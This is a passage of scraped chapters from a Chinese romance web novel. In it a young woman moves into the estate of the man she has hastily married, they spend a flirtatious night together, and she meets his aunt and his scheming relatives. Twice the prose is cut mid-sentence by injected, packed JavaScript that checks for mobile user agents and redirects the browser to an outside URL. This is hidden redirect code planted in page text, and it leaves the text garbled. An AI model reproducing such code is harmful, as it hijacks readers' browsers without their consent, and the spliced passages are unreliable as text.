前一天刚说好皇红珊瑚引入的事,次日阿卡斯的专业团队便飞到了陵市。 易嵊兑现承诺的效率让火臻对这个便宜女婿的好感度飙升。 当天开会部署好一切后,火臻亲自跟着团队去学习保育知识。 看着像只小尾巴一样跟在自己身后的火颂月,火臻无奈地睖她一眼。 “整天粘着我干什么?”火臻停下手中的工作,犀利的目光看得火颂月心慌慌,“是在拖延搬去易嵊那边的时间?” “火女士,哪有您这样的?” 火颂月假装郁闷地叹了口气:“还真就是嫁出去的女儿,泼出去的水?” “伶牙俐齿的也不知道随了谁。” 火臻睖她一眼,“激将法对我无效,我叫裴妍去帮你。” “不用麻烦妍姐!” 伸头一刀缩头一刀,火颂月放弃挣扎,“我让易嵊来做这个苦力!” “嗯哼。” 火臻啜了口咖啡,当真稳稳坐着,冲她抬了抬眉毛,一副等她操作的戏谑表情。 火颂月眨了眨眼,硬着头皮打给易嵊。 电话接通,她稍稍有些紧张:“易嵊,你在忙吗?” 男人言语直接:“先说你的事,怎么了?” “你是不是忘了那个……” “什么?” “帮我搬家的事。” 闻言,电话那端的男人沉默了片刻,倏地低低笑了声。 “太阳从西边出来了?”低沉带着磁性的声音像是趴在她耳畔,弄得火颂月耳廓发热:“饼老师主动得让我陌生,是不是又被火女士质问了?” 火颂月捂着手机话筒,语气有点急:“你忙就说忙嘛,我也没说一定要今天过去!” “不忙,等会儿就来。” “哦。那挂了。” 就知道打过去会被调侃,火颂月没等对面回复,直接挂断了电话。 “可以,”火臻点点头,“还是让裴妍帮你一起打点一下,过会儿我也回去。” “您回去干嘛?” “我宝贝女儿要出去住了,我这个当妈的当然是去考察一下你的居住环境~” 安排完一切,火臻拍了拍有些石化的少女,继续进实验室忙碌。 裴妍带着火臻的任务过来,出发前条理分明地把明细表发给了管家。 回去的路上,她看着火颂月,犹豫了片刻,叹道:“火妹,现在反悔或许还……” 裴妍摘掉了冷冰冰的镜片,现在是以姐姐的身份在关切。 “反悔什么?” 火颂月弯起漂亮的多情眼,“怎么你和妈妈都在怀疑我?我选的人看起来很不靠谱吗?” 裴妍苦笑了一下:“不是怀疑,只是突然到让人没办法不和寰海的危机联系到一起。” 要知道为了不牵连寰海,火颂月背着家里和易维醇那个混蛋周旋那么久,直到易维醇找上门,他们才知道这看上去娇气的小哭包居然这么大胆子。 “你也别怪臻姨着急上火,那天她‘突然’看到结婚证的时候差点没昏过去。我们都只想你幸福。” 火颂月抱住裴妍的胳膊轻轻撒娇:“妍姐安啦,我是个娇气鬼,肯定不会委屈自己的啦!” “我信了你的鬼,另一个姓易的混蛋干的混蛋事还记忆犹新!” 现在挡住了易维醇,又来了个易嵊。 裴妍一时间不知是福是祸。 火颂月吐了吐舌尖:“妍姐~那能一样吗?我们家易先生可是会从南法给我带外卖回来的男人!” “好好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017539|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就暂且信你一次。” 易嵊前脚到达观海庄园,火臻女士的车也赶了回来。 这算是火颂月第一次情绪平和地看到妈妈和易嵊站在一起,两个各自领域的佼佼者有着相似的强大气场。 他俩不说话的时候气压就已经很低了,这会儿又齐齐望着她,顿时让火颂月有几分拘谨,生怕错漏了什么。 火臻看向易嵊:“都收拾好了就出发吧,这丫头挑剔又娇气,我跟过去帮她打点一下,易总没意见吧?” 易嵊颔首:“岛苑那边素来只有我住,正好您去把把关,看看有没有什么疏漏。” 一行人寒暄了两句,便一起出发去了岛苑。 火颂月的东西并不多,因为易嵊说所有的衣物都已经置办了新的,只需要带上对她来说比较重要的即可。 然而对火颂月来说比较重要的就是火臻女士,退一步的话,就是她的藏宝阁。 这两个根本搬不走,她也就懒得梳理其他东西。 从观海别墅到东山岛苑,车程接近半小时。 下了车后看到偌大的庄园,就连因为工作原因自诩见多识广的火颂月都忍不住惊了一下。 “易老板,你家好奢侈哦!” 岛苑的占地面积目测有观海庄园的两倍,主楼背后还有半座林木葱葱的山头,简直就是壕无人性。 无论是典雅的欧式建筑,还是养护极好的园林,都让火颂月的职业病蠢蠢欲动。 虽然现在已经很漂亮了,可她好想亲自动手把这里重新设计一遍。 看着少女满眼兴奋地打量着四下的摆陈,易嵊笑笑:“在港城住惯了这种,便也买了座差不多的。” 这座岛苑虽说足够奢华,可是火颂月总觉得缺了点什么。 等进了主楼,看着空荡荡的屋子,火颂月才后知后觉的意识到——这屋子是人住的,但是没有人气。 像一座漂亮的但是却又冰冷的城堡。 火臻也觉察到了这点,笑了笑:“易总,您真的常住这里吗?怎么感觉不到生活痕迹?” 易嵊淡淡笑了笑,“这里平时都是菲佣在打点,您可以随便看看,会客餐食都在一楼,私人起居在二楼,电梯在右手边。” 火臻颔首,自顾自逛了一圈后,指了指身后跟着的阿姨道:“这位是陈姨,月月从小到大的饮食起居都是她照看的,我让她留在这儿帮衬一阵子,易总有意见吗?” 易嵊欣然接受。 主要目的达成,火臻受邀在岛苑吃了晚饭,才施施然离去。 送走了火臻这尊大神,火颂月瘫倒在沙发里,有气无力得只想马上睡一觉:“易嵊,我住哪间?” “主卧。” “谢谢易老板款待,我先去休息了。” 少女没有多想,拖着困顿的身子回到卧室洗漱休息。 等她洗完澡出来,正犹豫着要不要反锁卧室门的时候,厚重的雕花木门从外边打开了。 火颂月下意识拉紧睡裙领口,警惕地挡在门前:“易老板!你走错屋子啦!” “嗯?” 易嵊一只手按在门框上,借着身高差居高临下地望着少女,示意了一下在不远处忙碌的陈姨,淡声道,“匆忙领了证的新婚夫妻还要分房住,你是生怕你妈妈留下的人不知道我们是假夫妻吗?” 火颂月完全没有想到妈妈特意把陈姨带过来是监视她的,不过按照火臻细致的性子,倒是还真的会做这种事。 火颂月神情一凛,紧张地有些语无伦次:“你小声点!!什么假夫妻?!我们可是合法上岗!” 易嵊推了推被少女抵住的房门:“那易太太现在是在?跟我闹小脾气?” 看到陈姨注意到了这边的动静,正一边擦桌子一边往这边看,火颂月深呼吸了一口,认命地给易嵊开门:“您请……” 易嵊神色自然地找衣服进浴室。 浴室水声哗啦啦,磨砂玻璃门勾出男人隐约性感的身形,火颂月面红耳赤地捂着耳朵挪了个看不到的方向,坐在床边有些不知所措。 看着两米宽的大床,她煞有介事地多拿了两个枕头在床中间划出一条三八线,然后迅速钻进被窝里开始装睡。 水声停止,蒸腾而出的水汽带着和她身上一样的沐浴露香气快速入侵少女的呼吸。 听到地毯上沉闷的脚步声,感受到床的另一侧被压下去一部分,火颂月紧张地揪了下被子。 感受到被子被撤了一下,少女就像一只受惊的炸毛小猫一样,瞪大了眼睛回头:“你你你……” “睡觉要盖被子,有问题吗?” 男人神色如常,倒是衬得她有些大惊小怪。 “哦……” 火颂月鼓了鼓软腮,侧过身故意不去看男人睡袍领子里露出来的漂亮胸肌。 虽然被易嵊抱过几次,也知道他身材很好,但是这么直观的看到他的胸肌还是第一次。 看上去好像,手感很不错的样子…… 大脑不受控地开始胡思乱想,火颂月在心里小声指责不争气,全然没有意识到被放在中间的“三八线”不知何时已经被丢到了尾巴。 18. 第 18 章 感受到被子被扯了一下,少女就像一只受惊的炸毛小猫一样,瞪大了眼睛回头:“你你你……” “睡觉要盖被子,有问题吗?” 男人神色如常,倒是衬得她有些大惊小怪。 “哦……” 火颂月鼓了鼓软腮,侧过身故意不去看男人睡袍领子里露出来的漂亮胸肌。 虽然被易嵊抱过几次,也知道他身材很好,但是这么直观的看到他的胸肌还是第一次。 看上去好像,手感很不错的样子…… 大脑不受控地开始胡思乱想,火颂月在心里小声指责不争气,全然没有意识到被放在中间的“三八线”不知何时已经被丢到了床尾。 可怜的真丝被被两个人扯成平平一张。 易嵊叹了口气,侧身望向火颂月:“被子中间空着通风,你不冷吗?” 火颂月紧闭着眼睛,呼吸都不受控制地放轻:“那都给你盖吧,我不怕冷!” 就在她要掀起被子的时候,易嵊长臂一伸,直接一整个将她打包拉进怀里。 男人长手长脚,抱住她的时候像是能把她整个人包起来。 火颂月心底绷着的那根线砰得一下断掉,无措地开始挣扎,却根本逃不出被卷成蚕蛹一样的真丝被:“易嵊?!” 男人拨了拨被子,将她的脑袋露出来,像是蹭毛绒玩具那般,在她身后轻轻蹭了蹭少女毛茸茸的长发,“乖一点,不弄你。” 感受到男人真的没有其他动作,火颂月紧绷的身体缓缓放松下来:“……哦。” 她天生怕热,夏天根本不盖被子。现下被卷成粽子一样,还被藏进大火炉一样的怀里。 睡不着,根本睡不着。 本来就很热了,心脏不受控制地狂跳,更是加剧了热度产出。 火颂月轻轻挣了一下,拿肩膀顶了下易嵊的下巴:“易嵊,你松开我嘛……” 易嵊一动不动。 火颂月鼓了鼓软腮,轻声撒娇:“好热,睡不着,我想换个姿势。” 闻言,易嵊松开了怀抱,火颂月从真丝被里钻出来。 看着眼前拉扯间袒露出的胸肌,火颂月悄悄觑了眼男人,然后大着胆子主动贴了上去。 她一边抱一边压着唇角,一本正经地讲条件:“你刚刚答应了什么都不做……那我就把你当成我的陪床大玩偶了哦!” 易嵊未置可否,半挑着着眼角睨她。 没有拒绝就是默认,火颂月压不住唇角的梨涡,一点点大着胆子开始在男人的胸肌上乱蹭。 像一只醉倒在猫薄荷丛的小猫。 香香软软的老婆在怀里乱蹭,易嵊觉得自己的冷水澡算是白洗了。 他努力克制着,肌肉越绷越紧,最后连呼吸都变得燥热。 看着自顾自乐着的少女,易嵊皱眉,无奈却只能纵着。 感受到面颊下的肌肉硬度越来越高,火颂月警惕地安静下来,然后就听到了男人胸腔内节奏偏高的心跳。 怎么回事?原来,不止她一个人紧张吗? 臭脸大王易嵊的小秘密被她发现啦?! 想到这里,火颂月忍不住埋进男人的怀里咯咯直笑。 就在她控制不住要笑出声的时候,突然感觉命运的脖颈被一只大掌捏住。 她懵懵然止住笑,眨巴着无辜的多情眼望向易嵊。 男人冷着脸盯了她两秒,倏地扣住她的脖子吻了下来。 “呜呜?易……?” “只是亲一下女朋友,不算违约,乖。” 在火颂月迟疑的一瞬间,男人满是侵略性的吻密密麻麻地落下来。 火颂月招架不住,只觉得浑身都是热的软的,任人摆布。 她一点点揪紧易嵊的睡袍,在他退开的时候不满地轻嘤一声,小幅度地追上来。 然后,她朦朦胧胧间听到男人带着沙哑的低笑:“乖孩子。” 火颂月喜欢和易嵊接吻。 那种感觉像是飘上云端,又被推上浪头,整个人被包裹着,那种全然被占有的感觉,像是要被他一口口吃掉,却又能感受到他的珍视。 他只是亲,可火颂月却觉得自己好像被掏空了一样。 看着怀里的小馋猫没了力气,易嵊哑着嗓子看她:“还来吗?” 少女泪眼盈盈的,好乖好乖地蹭了蹭他的掌心,颤着睫羽看他,像一只无助的小猫:“热。” 易嵊用指节蹭了蹭她湿漉漉的眼角,帮她把凌乱的睡裙拉回肩膀上,然后在床头的主控面板上将智能床垫调整成人体自动感温模式:“睡吧。” 看到少女乖乖地闭眼睡觉,易嵊闭眼深呼吸了一口,轻手轻脚地起身去了浴室。 这次的冷水澡洗的时间比睡前那次要长很久,等他出来,少女已然累得睡熟过去。 火颂月侧身躺着,一双交叠的细白长腿往上,缎面睡裙勾勒出玲珑有致的身段。 她的睡相很乖,漂亮的侧脸在黑色真丝床品的映衬下像一只精致的BJD娃娃。 她好像真的怕热,全然脱离了厚重的枕头,整个人都贴在微微凉的床垫上。 床垫的温度调节比易嵊自己睡时还要低上几分。 易嵊无奈地笑了下,突然感觉让她睡过来好像折磨的是他自己。 他轻轻回到床上,刻意睡到床边和火颂月拉开距离。 谁知少女像是自动捕捉猫薄荷的小猫一样,没一会儿又无意识地黏了过来,像抱一只大型玩偶那样贴到他身上。 彼时时间才不到十二点,距离他的起床作息还有五个半小时。 易嵊按了按眉心,深刻体会到了什么叫做漫漫长夜。 次日一早,火颂月醒来的时候,懵懵地意识到今天老妈居然没有来提供叫醒服务。 她在床上翻了个身,迷迷糊糊地摸着身下一直很舒服的床垫,瞪着一双茫然的多情眼打量着有些陌生的卧室。 然后,一点点回忆起来昨晚差点擦枪走火的画面。 困意一下子被赶走,火颂月倏地坐起身子。 四下看了一圈,确认易嵊不在卧室后,她急匆匆起身钻进盥洗室。 啊啊啊!昨晚真的是色欲薰心! 她得赶紧洗漱好,绝对不能和易嵊在案发现场撞上,不然要尴尬死了! 盥洗室的装修风格和卧室一模一样,都是冷冰冰的黑金色系。 不过里边配备的设施都非常的智能,入户亮灯,人凑近镜子时灯光会自动调成更高的亮度和合适的光源角度。 火颂月隐隐记得这些好像是易嵊公司研发的智享家居。 她有些好奇地凑近镜子试验光源,却猛地发现自己锁骨的地方又一圈淡淡的牙印?! 少女愣了一下,难以置信 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少女的肌肤手感丝滑如缎,瓷白的画布一样的脖子上挂着几点惹眼的红,是他昨晚的“杰作”。 如一种明晃晃的标记。 他抬起另一只手,眸光晦涩地用带着薄茧的手指轻轻蹭了蹭。 感受到少女的颤抖,他断眉轻挑:“正好,让你陈姨捕捉点蛛丝马迹,好跟你妈妈交差。” 他的理由无懈可击,可那副表情却带着几分得意。 火颂月气不过,抬手按着他的大掌一口咬上男人的虎口。 男人轻嘶一口,火颂月以为咬痛了,连忙松口。 结果一回身反被易嵊抱着腰部,放在了洗手台上。 男人将她圈在双臂之间,居高临下地望着她笑:“记仇啊?” 火颂月轻哼,便见男人拉低衣领,露出凌厉漂亮的锁骨,“给你咬回来。” 少女鼓起软腮别过脸:“才不要!” “嗯?” 感受到男人的靠近,火颂月后仰着身子偷眼睨他。 滚烫的呼吸一点点靠近,像是磁极间的互相吸引。 一个眼神的交换后,她就乖乖地仰起脸,默许他的索吻。 火颂月坐在洗手台上,身前是易嵊滚烫的怀抱,身后是那块冰凉明亮又智能的镜子。 她被禁锢在男人的双臂之间,有些害羞地侧过脸,却在亮到晃眼的镜子里无比清晰看到更让她心跳加速的画面。 视觉触觉的双重刺激,让她很快软了身子,无意识勾上男人的腰身,却在触碰到又热又硬的身体后,慌乱地把人推开。 “你你你……放我下来!” 被意外打断,男人长眸微眯,抬眉间不经意露出的压迫感让火颂月愣了一下。 不过也就一瞬,他克制地退开半步,沙哑的嗓音带着几分关切:“不舒服?” “不……” 不是?!这都问得是什么虎狼之词啊?! 火颂月羞到面颊通红,慌乱地跳下盥洗台,却因为双腿发软差点摔倒。 好在易嵊眼疾手快,一把将她扶住。 火颂月像是触电一般快速起身,匆匆往外溜:“你自己弄!我先去吃饭了!” 闻言,易嵊无奈扶额:“小没良心的。” 19. 第 19 章 浴室重新响起水声,火颂月在衣帽间换好衣服,快速溜出卧室。 下楼时看到陈姨在餐厅忙碌,她下意识拢了下长卷发,走到餐桌另一边。 早餐是火颂月喜欢的苏式茶点,她刚落座,陈姨便贴心地把灌汤包的料碟分好放在她面前。 “小姐昨晚休息的好吗?” “……嗯。” 火颂月用茂密的长发把锁骨耳后都挡了个严严实实,红着耳朵乖巧点头,“突然被安排过来,陈姨您还住得惯吗?” 陈姨笑盈盈地忘了眼火颂月欲盖弥彰的长发,转身退下:“我住哪都一样,您好我就好,那小姐您慢慢用。” 没了外人,火颂月下意识松了口气,拿发带简单把头发束好,便开始享用汁水横流的灌汤包。 听到有人下楼的声音,她漫不经心地回头,才发现易嵊已经收拾整齐了:“这么快?” 男人本来正慢条斯理地整理着袖口,闻言,抬眉轻哼:“那下次你来试试?” 意识到自己好像失言了,火颂月吐了吐舌尖,像只小鹌鹑一样缩着脑袋给灌汤包蘸料。 易嵊在她身侧落座:“今天有空吗?” “怎么了?” “有人想见你。” “见我?”火颂月咬了灌汤包,汁水烫得她轻吐舌尖,整个人娇憨可爱,“见我干嘛?什么时候?” 易嵊拿起餐巾,轻轻帮少女擦了下唇角:“今天,姑姑回国了,想见见她的侄媳妇。” “姑姑?” 一听是长辈,火颂月瞪大了眸子,轻声埋怨:“你不早说!我这个样子怎么见人嘛!” “哪个样子?” 见他故意揶揄自己,火颂月别过头不跳这个坏蛋的陷阱:“我不和坏狗狗说话。” 坏狗狗。 他的小妻子怎么这么乖,连骂人都好可爱。 易嵊低低笑了声,拿指节轻轻摩挲了下她柔软的面颊:“下次不会了,去见见吧,嗯?” 难得见易嵊这么“求”自己一次,火颂月躲过他作乱的手指,没有拒绝:“不是说你和本家的人关系不好吗?” 证都领了,火颂月倒是也不排斥见易家的人,她就是担心遇到易维醇那个疯子。 不过有易嵊在,应该问题不大? “姑姑例外。” 火颂月盯着他看了几秒钟:“哦,那我就勉为其难陪你去吧。” 她微微扬着下巴,看上去得意又可爱,像一只傲娇的小猫。 易嵊心下痒痒的,忽地捏住她细细的下巴,轻轻一吻而过:“谢公主大人开恩。” “你你你!”火颂月慌乱地后仰着,拿手挡在唇边,羞得面红耳赤,“易嵊!你!” 你是什么接吻狂魔吗? 男人神色自若,自顾自倒了杯红茶:“嗯?” 火颂月飞快瞥了眼厨房陈姨的位置,压低声音:“不许突然亲我!” “只许州官放火?”易嵊微扬断眉,“提醒一下,偷亲可是饼老师你主动发起的,我躬于实践。” 说不过,也打不过,硬上还有被按着亲一顿的风险。 火颂月磨了磨小虎牙,气鼓鼓地用吃甜品发泄怒气。 讨厌的易嵊! 怎么不学点好的?! 更讨厌的是,她对这些事,竟然一点也讨厌不起来! 本以为易嵊的姑姑会在港岛,没想到她居然也住在陵市。 黑色宾利驶入西郊一处苏氏园林别墅区后缓缓停下,易嵊先下车,而后信步来到另一侧车门等火颂月下车。 他一身戗驳领深灰细条纹外套,内搭一件简约的白色衬衫,银质的衬衫扣子解开两粒,衬得他整个人凌厉又随性。 少女搭上易嵊的大掌,缓缓从车上下来。 她一身古法蕾丝小立领浅青旗袍,漂亮的卷发被梳成侧垂的麻花辫放在右肩,完美遮住一些还未消掉的暧昧痕迹。 火颂月挽上易嵊的臂弯,仪态优雅得体无可挑剔,可那双漂亮多情眼里却浮动着按耐不住的兴奋,一点点细细打量园子内的造景。 易嵊知道她这是职业病又犯了,故意放慢脚步让她看个够。 拐过一道红木连廊,从垂花门下穿过,二人猝不及防地和一位匆匆往外走的女士碰了面。 “阿嵊?来了怎么也不提前说一声?”女人眉眼含笑地打量着来人,最后目光落在他牵着的女孩身上,“这不会就是月月吧?” “今天恰好有空。”易嵊看了眼火颂月,淡声道,“这是姑姑。” 见面有些猝然,火颂月有些意外对方好像对自己很熟悉。 她跟着甜甜一笑,一副乖巧模样非常得长辈欢喜:“姑姑好。” 易维芸上前两步,亲昵地抚上火颂月的胳膊:“真是个漂亮的姑娘。就是今天有点不巧,我老爹他不知道抽了什么疯也一大早来了。” “老爷子来了?” 易维芸皱眉,无语道:“何止,倾巢出动,你爸你醇叔都来了,不就是国外的项目滞后了一周,不知道的还以为他们又要来找我算什么帐呢。” 闻言,火颂月突然有几分紧张。 她从未见过易家家主,听闻是个古板强势的老头子。 易嵊拍了拍她的手背,淡声道:“那就见一下吧,凑巧我也不想回港城。” 易维芸叹了口气,只得引他们往里走,一边走一边说:“你们领证的事你打算告诉老爷子吗?他好像还在给你张罗那个联姻呢,还要我见见那个小姑娘……” “他要做什么是他的事,领证的事是我和Luna的私事。”他垂眼望着火颂月,“见他只是让他认个脸,顺便管好他的爪子。” “你啊你!” 易维芸摇了摇头,“早晚要把老爷子气晕。” 易维芸虽然嘴上不甚赞同,但眉眼间也是压不住的笑意。 火颂月这才明白为什么来之前,易嵊说姑姑例外了。 易维芸的身上好像有着和易嵊一样的不羁,不过她的那份叛逆被隐藏在温和的笑颜下。 “就在水榭那,我先去给老爷子拿个新的烟袋,你们过去吧!” 进到主院,火颂月大老远就看到了坐在水榭步道上溜达的几尊大佛。 为首的老爷子上半身穿着藏蓝中式立领外衫,银发梳成整齐的大背头,看到他们过来,不轻不重地将水烟枪一敲,声色低哑但气场十足:“我当是谁呢,易总也有空来这儿?” 易嵊连基本的介绍都免了,没什么表情地望过去:“我来探望Viola女士,没想到您也有空离开港城。” 站在老爷子右手边的易维晟冷哼着搭腔:“探望 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“要是玩玩,我就当不知道,要是认真的,就赶紧断了。”老爷子吐了两口烟,“易家的孩子,不谈没有利益的生意。” “您这话,要是说给十年前的易嵊,兴许还能有点效果。”易嵊断眉轻抬,凌厉的眸间带着几分讥嘲,“我带她来,不是为了让您发表什么看法,只是告诉您一声,她,您别想着动。” 老爷子眯眸:“不高兴娶陈凌阿姨家的姑娘,就随便找了个人跟我在这儿立威呢?” “随您怎么理解,您不信大可以试试。” “……” “还是这么没大没小,就这么跟你爷爷说话的?”易维晟轻呵,“你以为你随便找个人就能跟你爷爷较劲,你的婚约你爷爷帮你物色好了。” “说到这个,”易嵊神色淡淡地望过来,“没能拿下寰海,看起来对您的影响很大。” 易嵊的声音不轻不重,但却着实让在场的人都默了一瞬。 易维晟打量着老爷子的脸色,没再插话。 “嚯,我当你这个没心的狼崽子真的动凡心了,居然是在这儿等着我呢。” 易老爷子敲了敲烟枪,灰色的眼睛闪烁着冷锐的光:“如果你是想借寰海试探我,那我劝你最好收手。” 易嵊淡声笑了:“难得遇到个您在意的东西,哪能就这么放手。” “你就这么笃定我在意?” “您如果不在意,就不会特意跑来陵市。我只要盯着寰海,总能抓到您的小辫子,不是吗?” 话题冷了下来,易嵊一回头,发现火颂月不见了,随之不见的还有易维醇。 凌冽的视线淡淡扫过园宅后院,易嵊的声音冷了几分,“您确定要在没弄清楚我底牌的时候动手?” 易家人人都知易嵊这小子就是一匹铁石心肠的孤狼,难得见他为了一个女人这么上心。 易老爷子心底有了几分盘算,直勾勾看了易嵊一会儿,才背过身挥手:“去后花园看看吧,这后院可是你醇叔花了大价钱搞的晚清复刻。” 与此同时,距离他们不远处的假山后,易维醇松开了对火颂月的禁锢。 男人拿着拐杖退后半步,饶有兴趣地观察着少女的表情:“听到了吗?这就是你亲爱的易嵊,现在换人还来得及。” 20. 第 20 章 “看到易嵊带你来见我阿姐,我还挺震惊的,以为这小子来真的。” 易维醇勾唇摇了摇头,“果然他还是他,纵观整个易家,能和老爷子比铁石心肠的,还真不会轻易为了谁改变。” “你是个聪明人,这样不择手段的人,你确定还要跟他继续?” 日光被一大片云层遮住,四下变得寂静阴沉。 火颂月从假山石的阴影里抬头,风将她鬓角的发丝吹散,她睫羽轻颤,漂亮的眉眼看上去要碎了一样。 “易叔叔,”少女强行弯出一个笑,委屈的表情像某种无助的小动物,“我想一个人静静。” “你不是很会折腾人吗?别轻易放过他,有需要可以找我帮忙哦宝贝儿……” 当初被火颂月拿捏着耍得团团转的往事还历历在目,易维醇拿象牙拐杖的把手挑起少女的下巴,居高临下地望着她,眼底漫起得逞般的轻浮:“我很乐意接受你的求助,酬金也是情人价。” 火颂月别过脸,手指无声地按上手机快捷拨号界面,声音听上去有气无力:“……您让我想想。” “阿醇?” 易维醇还要说什么,身后蓦地传来一道清越的女声。 易维醇身子一僵,退开半步回头:“阿姐,父亲的药配好了?” 看到易维芸,火颂月无声按灭了手机。 “你帮我拿给老爷子。” “好的小姐。” 将密封好的药盒交给保镖,易维芸举步走到易维醇和火颂月身侧,看着火颂月有些苍白的脸色,她皱眉将易维醇上下打量一番:“你在做什么?” 易维醇立即恢复了一副绅士做派:“这不是看到阿嵊的小女友落单了,担心她迷路吗?阿姐,你这是什么眼神?我在你这儿就这么没有诚信吗?” 易维芸并未理会易维醇的狡辩,伸手拉住火颂月的胳膊:“我带她继续逛,你可以回去陪着老爷子了。” 易维醇切了声,正要敲着拐杖往外走,一回头,便碰上了眉眼肃冷的易嵊。 狭窄的假山石径一下子变得拥堵起来。 易嵊本身就比易维晟高上一截,现在他这么近距离地站在易维晟脸前,高大的阴影全然落在他身上,让易维晟有一种烦躁的被压迫感。 易维晟拧眉仰头:“让开。” 易嵊居高临下地睖他一眼,打量了一番火颂月,确认她没什么太大的情绪波动,他侧身朝火颂月伸手:“我们回去。” 彻底离开石径前,易维晟看着犹豫的火颂月,意味不明地笑出来声。 等他的身影彻底消失在视野里,火颂月才松了口气,反手握住易嵊,对易维芸说:“姑姑,您这园子太美了,可惜只能过阵子再来细品一番了。” “是不是那老古板又为难你俩了?一天天的跟个地雷似的,一炸一炸的,真烦人。” 皱着眉数落了一遍易老爷子,易维芸从管家那边接过一个雕花檀木盒子,打开后拿出一支羊脂白玉手镯给火颂月带上,有几分愧疚:“太突然了,我的礼物还没备全,这只手镯是我特意拍给侄媳妇的见面礼之一,你就先凑合收着,其余的下次再补。” 莹润的羊脂白玉纯净如凝脂,这种品相大小的玉石本就少见,这只还奢侈地在镯面雕了如意。 因为职业原因,火颂月对石料也多有涉猎,一眼便看出这镯子的贵重。 她倒也没有扭捏,大方接下后乖巧道谢:“谢谢姑姑,我没什么能送您的,刚刚逛园子的时候看到几处窗景里的盆栽空着,赶明我给您选几盆送来,希望您别嫌弃。” 易维芸眉开眼笑:“我高兴还来不及呢!我这人平日里没别的爱好,就喜欢折腾这个园子,月月你是专业的,有空多来帮我指点指点。” 火颂月点头:“住的都不远,以后易嵊出差的话,我就来叨扰您啦!” “求之不得!” 知道火颂月喜欢惯会讨人欢心,没想到她竟然仅靠这匆匆的照面就摸清了姑姑的喜好。 易嵊不由捏了捏少女的手心,望向她的目光里带着几分赞许。 少女回望过来,像只傲娇的小猫一样,又翘起了无形的小尾巴。 作别易维芸,火颂月和易嵊一同返程。 不同于来时的轻松,上了车后火颂月突然变得异常沉默。 她先一步上车,进去后远远缩在座椅另一端,自顾自望着手上的羊脂白玉镯子发呆,神情里带着几分郁闷。 易嵊不知在他不在的时候,易维醇是不是和她说了什么。 只是,他很不喜欢这种莫名被拉开的距离感和猜不透的失控感。 他转了转指间银戒,淡声开口:“不喜欢这镯子?” 车子平稳驶出别墅区,易嵊忽地听到少女重重地叹了口气,而后把镯子摘下递过来:“易嵊,我听到你和你爷爷的对话了。” 莫名拉开的距离感找到了原因。 易嵊垂眸,看了眼少女手心的羊脂白玉镯子,而后扬起断眉尾直勾勾看向她。 他神色没什么变化,声音却无意识地压低了几分:“然后?” “然后,知道了我当初猜来猜去的原因居然都猜错了!” 她猜了那么多原因,独独忘了她本身可能是最没有价值的那个。 能让手握整个RC的男人伸出援手,眼光自然也不会短浅地落在私人情绪上。 他在利用整个寰海下一盘大棋,而她不过是其中一个微不足道的道具。 刚刚得知的时候,她居然还真情实感地郁闷了一下。 可是听到易维醇的讥嘲,她倏地又没那么难过了。 这其实也在她的意料之中,甚至,她的价值比她能想到的要更加重要。 经过短暂的自我调理,她面对易嵊突然一点负担都没有了。 他要利用自己和寰海撬动易老爷子,那她作为一枚重要的工具人,也不算是占他便宜。 或者可以说这场联姻是异常公平的。 少女拉过他的手,把手镯放进他的掌心,如释重负般地弯了下眉眼,“镯子你先收回去,等我真的成了你姑姑的侄媳妇后再给我?” 等了半天,等来一句没头没尾的话,易嵊有些烦躁地攥住火颂月的手腕,重新将镯子带了回去。 “等你不是了再还回来也不迟。” 看着白玉镯子重新套回少女瓷白漂亮的手腕上,漂亮的像是无主的拍品回到了自己的展架,易嵊那不自觉皱起的眉头才舒展了几分。 像是将要失去的某种东西重新回到了自己的掌控。 他深深地瞧了一眼,而后抱着臂靠回座椅里,冷着脸转向窗外。 “哦……那我就暂时保管着吧!” 火颂月扬起手腕对着日光打量着莹润如脂的镯子,余光瞥见车窗里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101714|135995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒影里的男人紧绷的下颌线,她眨了眨眼睛,将刚刚上车时拉开的距离主动拉回去。 葱白的小手钻进男人的臂弯,轻轻挽住,然后摇了摇。 火颂月把下巴搭在易嵊的肩膀上,歪着脑袋看他:“易先生怎么看上去不太高兴?是因为秘密被我发现了吗?” 易嵊淡淡睨她一眼:“那不算秘密。” “那你怎么臭着脸?”火颂月疑惑地看着他,“因为我刚刚的话?” “你刚刚的废话有些多,你指哪一句?” “该不会,你觉得我会因为你的隐瞒就不打算喜欢你了吧?” 见男人缄默不语,火颂月低低笑了声,“易先生,日子是自己的,我有眼睛我有脑子,不会因为外人一句话就给自己滋润的小日子找不愉快~” “这不是原则性问题,只要你呢卖力讨好本小姐,本小姐也会继续努力喜欢你的!” 论哄人的功夫,眼前的少女敢认第二,世界上便没有人敢认第一。 易嵊绷着的唇角松动了几分,他侧眸,轻轻扬眉:“讨好你?怎么讨好?” 闻言,少女挑起他的下巴,笑得有几分狡黠:“易嵊,给本小姐笑一个。” 她话音刚落,车子后排的挡板蓦地升了起来。 意识到还有一个大活人司机在,火颂月瞬间羞红了耳尖。 她有些尴尬地想收回手,却被易嵊反握住,而后轻轻在她手背落下一吻:“以后,你想知道什么都可以直接问我。” 冷冰冰的男人突然温情起来简直要人命。 火颂月愣了一瞬,而后有些僵硬地收回手,捂着砰砰直跳的小心脏结结巴巴地点头:“这还……差不多……” 看到车子驶进市区主道,火颂月忽地想到了导师寄来的图纸还在观海别墅。 